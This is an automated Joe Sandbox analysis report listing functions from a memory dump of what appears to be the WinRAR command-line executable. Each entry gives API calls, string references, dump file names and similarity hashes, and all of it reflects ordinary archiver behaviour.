Function 00007FF6BBCC4FD0 Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 293
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcschr.LIBVCRUNTIME ref: 00007FF6BBCC5043
wcschr.LIBVCRUNTIME ref: 00007FF6BBCC5129

Strings

.rar, xrefs: 00007FF6BBCC508E
.part, xrefs: 00007FF6BBCC50A5
FUADPXETK, xrefs: 00007FF6BBCC503C
stdin, xrefs: 00007FF6BBCC52C2
AFUMD, xrefs: 00007FF6BBCC5122
.rar, xrefs: 00007FF6BBCC50E6

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: wcschr
String ID: .part$.rar$.rar$AFUMD$FUADPXETK$stdin
API String ID: 1497570035-1281034975
Opcode ID: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
Instruction ID: 5afc33fd9268111ca1f2966b992b39e119640949a8eec9e1450693185fcb3170
Opcode Fuzzy Hash: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
Instruction Fuzzy Hash: 47C17461A1858295EA24EF2DC85A1FC12B1BF6D785F485131EB4ECA5FADF2CEA04C350

Function 00007FF6BBCF7F24 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 100
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF6BBCF805C

Part of subcall function 00007FF6BBCFB3F0: GetSystemDirectoryW.KERNEL32(00000000,00007FF6BBCF7F72), ref: 00007FF6BBCFB41E

GetProcAddressForCaller.KERNELBASE ref: 00007FF6BBCF7F88
GetProcAddress.KERNEL32 ref: 00007FF6BBCF7FA3

Strings

CryptUnprotectMemory, xrefs: 00007FF6BBCF7F95
CryptProtectMemory failed, xrefs: 00007FF6BBCF8009
CryptProtectMemory, xrefs: 00007FF6BBCF7F7E
CryptUnprotectMemory failed, xrefs: 00007FF6BBCF8053
Crypt32.dll, xrefs: 00007FF6BBCF7F66

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: AddressProc$CallerCurrentDirectoryProcessSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 1389829785-2207617598
Opcode ID: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
Instruction ID: 2b5f33991c8c405695d4886794a70ca6083febfcc2164ac28000856a9985909e
Opcode Fuzzy Hash: 55f9cc654a4765269b34be058e69e02607cbee85ebbaa2d255acd8e9286e0d92
Instruction Fuzzy Hash: 36418B21A08B8381FA09CB1EA81853967A0BF4CBD4F481271CF5D877B5DF7CE08A8308

Function 00007FF6BBD0B0FC Relevance: 13.6, APIs: 9, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF6BBD0B110

Part of subcall function 00007FF6BBD0AA8C: __isa_available_init.LIBCMT ref: 00007FF6BBD0AAA9
Part of subcall function 00007FF6BBD0AA8C: __vcrt_initialize.LIBVCRUNTIME ref: 00007FF6BBD0AAAE

__scrt_fastfail.LIBCMT ref: 00007FF6BBD0B11E

Part of subcall function 00007FF6BBD0B52C: IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6BBD0B548
Part of subcall function 00007FF6BBD0B52C: RtlCaptureContext.KERNEL32 ref: 00007FF6BBD0B571
Part of subcall function 00007FF6BBD0B52C: RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6BBD0B58B
Part of subcall function 00007FF6BBD0B52C: RtlVirtualUnwind.KERNEL32 ref: 00007FF6BBD0B5CC
Part of subcall function 00007FF6BBD0B52C: IsDebuggerPresent.KERNEL32 ref: 00007FF6BBD0B620
Part of subcall function 00007FF6BBD0B52C: SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6BBD0B641
Part of subcall function 00007FF6BBD0B52C: UnhandledExceptionFilter.KERNEL32 ref: 00007FF6BBD0B64C

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6BBD0B12C
__scrt_fastfail.LIBCMT ref: 00007FF6BBD0B143
__scrt_release_startup_lock.LIBCMT ref: 00007FF6BBD0B1A0
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF6BBD0B1B6
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF6BBD0B1E6
__scrt_is_managed_app.LIBCMT ref: 00007FF6BBD0B21B
__scrt_uninitialize_crt.LIBCMT ref: 00007FF6BBD0B239

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled__scrt_fastfail__scrt_is_nonwritable_in_current_image$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual__isa_available_init__scrt_acquire_startup_lock__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock__scrt_uninitialize_crt__vcrt_initialize
String ID:
API String ID: 552178382-0
Opcode ID: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
Instruction ID: a13acdddf086cd308f5056e175d381c477dd2c2ca3d0f824494aad605f07ef90
Opcode Fuzzy Hash: 9c665b31eb0b804363cbc587f94f2e5aa54598bfa8fc207139a92aecf1914098
Instruction Fuzzy Hash: 8B311721E0C68385EA1CAB2DA4653BD1792BF5D784F844734EB0D8B2F7DE2CA8048751

Function 00007FF6BBCF4774 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?,00007FF6BBCF495D,?,?,?,00007FF6BBCE7E7D), ref: 00007FF6BBCF47DB
RegQueryValueExW.ADVAPI32(?,?,?,?,?,00007FF6BBCF495D,?,?,?,00007FF6BBCE7E7D), ref: 00007FF6BBCF4831
ExpandEnvironmentStringsW.KERNEL32(?,?,?,?,?,00007FF6BBCF495D,?,?,?,00007FF6BBCE7E7D), ref: 00007FF6BBCF4853
RegCloseKey.ADVAPI32(?,?,?,?,?,00007FF6BBCF495D,?,?,?,00007FF6BBCE7E7D), ref: 00007FF6BBCF48A6

Strings

Software\WinRAR\General, xrefs: 00007FF6BBCF47CD
LanguageFolder, xrefs: 00007FF6BBCF4806

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: CloseEnvironmentExpandOpenQueryStringsValue
String ID: LanguageFolder$Software\WinRAR\General
API String ID: 1800380464-3408810217
Opcode ID: df8e8945b6f074808e1d136ded68da0d597e77b5ffd7a0622e633ce0ea7293c4
Instruction ID: 4d14c7f6bbdb94066b04607de1be3041b286758c35ab9694717643926ebfcf45
Opcode Fuzzy Hash: df8e8945b6f074808e1d136ded68da0d597e77b5ffd7a0622e633ce0ea7293c4
Instruction Fuzzy Hash: B131B422718A8185EB64DB29E8542FEA361FF88794F405231EF4D87BE9EF6CD148C700

Function 00007FF6BBCE4398 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,00000800,00000000,00000000,00007FF6BBCE38CB,?,?,?,00007FF6BBCE41EC), ref: 00007FF6BBCE43D1
RegQueryValueExW.ADVAPI32(?,?,?,?,00000800,00000000,00000000,00007FF6BBCE38CB,?,?,?,00007FF6BBCE41EC), ref: 00007FF6BBCE4402
RegCloseKey.ADVAPI32(?,?,?,?,00000800,00000000,00000000,00007FF6BBCE38CB,?,?,?,00007FF6BBCE41EC), ref: 00007FF6BBCE440D
GetModuleFileNameW.KERNEL32(?,?,?,?,00000800,00000000,00000000,00007FF6BBCE38CB,?,?,?,00007FF6BBCE41EC), ref: 00007FF6BBCE443E

Strings

Software\WinRAR\Paths, xrefs: 00007FF6BBCE43BC
AppData, xrefs: 00007FF6BBCE43F7

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: CloseFileModuleNameOpenQueryValue
String ID: AppData$Software\WinRAR\Paths
API String ID: 3617018055-3415417297
Opcode ID: 070cc4d0cc6b07d111a1af4e028d2b6750b797b38322b9f578af6c992b8e5665
Instruction ID: edaf40955691f393d379f96b60992621fb42de42d0d766686fda5fe4f957d4c9
Opcode Fuzzy Hash: 070cc4d0cc6b07d111a1af4e028d2b6750b797b38322b9f578af6c992b8e5665
Instruction Fuzzy Hash: 51116022A2878286EA159F2AE4155ADB360FF8CBC4F445231EB4E87B69DF3CE504C710

Function 00007FF6BBCB7A5B Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 309
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H9, xrefs: 00007FF6BBCB7BF3

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID:
String ID: H9
API String ID: 0-2207570329
Opcode ID: d10ec36fd9120199c0687508098b586a24a6170a06ec7cc9f6dc87913b656c3a
Instruction ID: e957a9a08dd90b1c296ffdd9523f8f81fa479e30bc25dd720074e7cd228f57d4
Opcode Fuzzy Hash: d10ec36fd9120199c0687508098b586a24a6170a06ec7cc9f6dc87913b656c3a
Instruction Fuzzy Hash: 1EE1DF62A08A9A85EB20DB28E048BFD27B9FB4978CF554536CF4D833A5DF38E554C700

Function 00007FF6BBCD2574 Relevance: 7.6, APIs: 5, Instructions: 133
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32 ref: 00007FF6BBCD25B0
WriteFile.KERNEL32 ref: 00007FF6BBCD25F9
WriteFile.KERNELBASE ref: 00007FF6BBCD262E
GetLastError.KERNEL32 ref: 00007FF6BBCD2658
SetLastError.KERNEL32 ref: 00007FF6BBCD2689

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: ErrorFileLastWrite$Handle
String ID:
API String ID: 3350704910-0
Opcode ID: ccd0c3e83433efd0ca407849e79df603d5f0c90f747e6cdc6739dd31fcb0c28b
Instruction ID: cb8d6dea732e871c6ec733f36ed3cdf03265e7c0432e475125d1e93a056070bb
Opcode Fuzzy Hash: ccd0c3e83433efd0ca407849e79df603d5f0c90f747e6cdc6739dd31fcb0c28b
Instruction Fuzzy Hash: 18518526A48A4197EA28DF29F41837A7770FB4DB84F440135DB5E8BAB1DF3CE446C640

Function 00007FF6BBCD1E80 Relevance: 7.6, APIs: 5, Instructions: 127
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF6BBCD1F4A
GetLastError.KERNEL32 ref: 00007FF6BBCD1F59
CreateFileW.KERNELBASE ref: 00007FF6BBCD1F99
GetLastError.KERNEL32 ref: 00007FF6BBCD1FA2
SetFileTime.KERNEL32 ref: 00007FF6BBCD1FF1

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 892e3554a84f7d5f3af4d66201b4842f90aabb2a874f58c4d931fe245cb08f10
Instruction ID: 6a4e16811d6a6e9292710a2a8a2706296e243ee0a460c81267c04d96105802df
Opcode Fuzzy Hash: 892e3554a84f7d5f3af4d66201b4842f90aabb2a874f58c4d931fe245cb08f10
Instruction Fuzzy Hash: D7414672A1868146FB64CF28E5087A966A0B749BB8F001738EF7D83AE4CF7CC445CB00

Function 00007FF6BBCC6AD0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BBCC6C13

Strings

rar.ini, xrefs: 00007FF6BBCC6B37
switches=, xrefs: 00007FF6BBCC6B80
switches_%ls=, xrefs: 00007FF6BBCC6C03

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: swprintf
String ID: rar.ini$switches=$switches_%ls=
API String ID: 233258989-2235180025
Opcode ID: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
Instruction ID: 63831fc5672fe098f92974a97fdb3fb90395a02d5ff163f6a4f7523ea034b31e
Opcode Fuzzy Hash: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
Instruction Fuzzy Hash: F641BF22B1868281EB14EB29D5241F967B0FF587A4F401635EB9E83AF6EF3CE545C740

Function 00007FF6BBCE7E20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6BBCFB470: GetModuleHandleW.KERNEL32 ref: 00007FF6BBCFB488
Part of subcall function 00007FF6BBCFB470: GetProcAddress.KERNEL32 ref: 00007FF6BBCFB4A0
Part of subcall function 00007FF6BBCFB470: GetProcAddress.KERNEL32 ref: 00007FF6BBCFB4D5

Part of subcall function 00007FF6BBCC7A68: setbuf.LIBCMT ref: 00007FF6BBCC7A7B
Part of subcall function 00007FF6BBCC7A68: setbuf.LIBCMT ref: 00007FF6BBCC7A8F

SetErrorMode.KERNELBASE ref: 00007FF6BBCE7E5D
GetModuleHandleW.KERNEL32 ref: 00007FF6BBCE7E65

Part of subcall function 00007FF6BBCF48CC: GetVersionExW.KERNEL32(?,?,?,00007FF6BBCE7E7D), ref: 00007FF6BBCF496A
Part of subcall function 00007FF6BBCF48CC: LoadLibraryExW.KERNELBASE(?,?,?,00007FF6BBCE7E7D), ref: 00007FF6BBCF4993

new.LIBCMT ref: 00007FF6BBCE7EA8

Strings

rar.lng, xrefs: 00007FF6BBCE7E7D

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: AddressHandleModuleProcsetbuf$ErrorLibraryLoadModeVersion
String ID: rar.lng
API String ID: 553376247-2410228151
Opcode ID: da8370b5298aa504e96f4bedb37cf3b824543d1dd7ee1d37a7dea72557966179
Instruction ID: 7b7a6fa2eeb3f370f0c05f169f96e885bc84e60d85c025e23e50703599941f02
Opcode Fuzzy Hash: da8370b5298aa504e96f4bedb37cf3b824543d1dd7ee1d37a7dea72557966179
Instruction Fuzzy Hash: 52419F21E1C28285FA18EB29A41A2BD23B0BF9D754F685135DB0DCB2F7CF2DE4058750

Function 00007FF6BBCE40A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetMalloc.SHELL32(?,00000800,?,00007FF6BBCE4432,?,?,?,?,00000800,00000000,00000000,00007FF6BBCE38CB,?,?,?,00007FF6BBCE41EC), ref: 00007FF6BBCE40C4
SHGetSpecialFolderLocation.SHELL32(?,?,?,?,00000800,00000000,00000000,00007FF6BBCE38CB,?,?,?,00007FF6BBCE41EC), ref: 00007FF6BBCE40DF
SHGetPathFromIDListW.SHELL32 ref: 00007FF6BBCE40F1

Part of subcall function 00007FF6BBCD3458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF6BBCE413F,?,?,?,?,00000800,00000000,00000000,00007FF6BBCE38CB,?,?,?,00007FF6BBCE41EC), ref: 00007FF6BBCD34A0
Part of subcall function 00007FF6BBCD3458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF6BBCE413F,?,?,?,?,00000800,00000000,00000000,00007FF6BBCE38CB,?,?,?,00007FF6BBCE41EC), ref: 00007FF6BBCD34D5

Strings

WinRAR, xrefs: 00007FF6BBCE410F

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

